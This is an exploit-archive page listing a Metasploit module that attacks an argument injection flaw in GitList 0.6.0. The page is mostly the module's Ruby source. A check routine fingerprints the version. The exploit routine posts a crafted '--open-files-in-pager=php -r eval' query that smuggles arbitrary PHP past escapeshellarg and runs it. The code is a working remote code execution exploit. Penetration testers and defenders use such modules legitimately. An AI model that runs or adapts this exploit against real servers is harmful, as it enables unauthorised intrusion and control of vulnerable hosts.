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GitList 0.6.0 Argument Injection

GitList 0.6.0 Argument Injection
Posted Jul 7, 2018
Authored by Kacper Szurek, Shelby Pace | Site metasploit.com

This Metasploit module exploits an argument injection vulnerability in GitList version 0.6.0. The vulnerability arises from GitList improperly validating input using the php function 'escapeshellarg'.

tags | exploit, php
MD5 | a1733d5d120783b5373e9c89db24e4a6

GitList 0.6.0 Argument Injection

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "GitList v0.6.0 Argument Injection Vulnerability",
'Description' => %q{
This module exploits an argument injection vulnerability in GitList v0.6.0.
The vulnerability arises from GitList improperly validating input using the php function
'escapeshellarg'.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kacper Szurek', # EDB POC
'Shelby Pace' # Metasploit Module
],
'References' =>
[
[ 'EDB', '44548' ],
[ 'URL', 'https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'GitList v0.6.0', { } ]
],
'Privileged' => false,
'Payload' => { 'BadChars' => '\'"' },
'DisclosureDate' => "Apr 26 2018",
'DefaultTarget' => 0))
end

def check
uri = normalize_uri(target_uri.path, '/gitlist/')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)

if res && res.code == 200 && /Powered by .*GitList 0\.6\.0/.match(res.body)
return Exploit::CheckCode::Appears
end

Exploit::CheckCode::Safe
end

def exploit
postUri = normalize_uri(target_uri.path, '/gitlist/tree/c/search')
cmd = '--open-files-in-pager=php -r "eval(\\"'
cmd << payload.encoded
cmd << '\\");"'
send_request_cgi(
'method' => 'POST',
'uri' => postUri,
'vars_post' => { 'query' => cmd }
)
end
end

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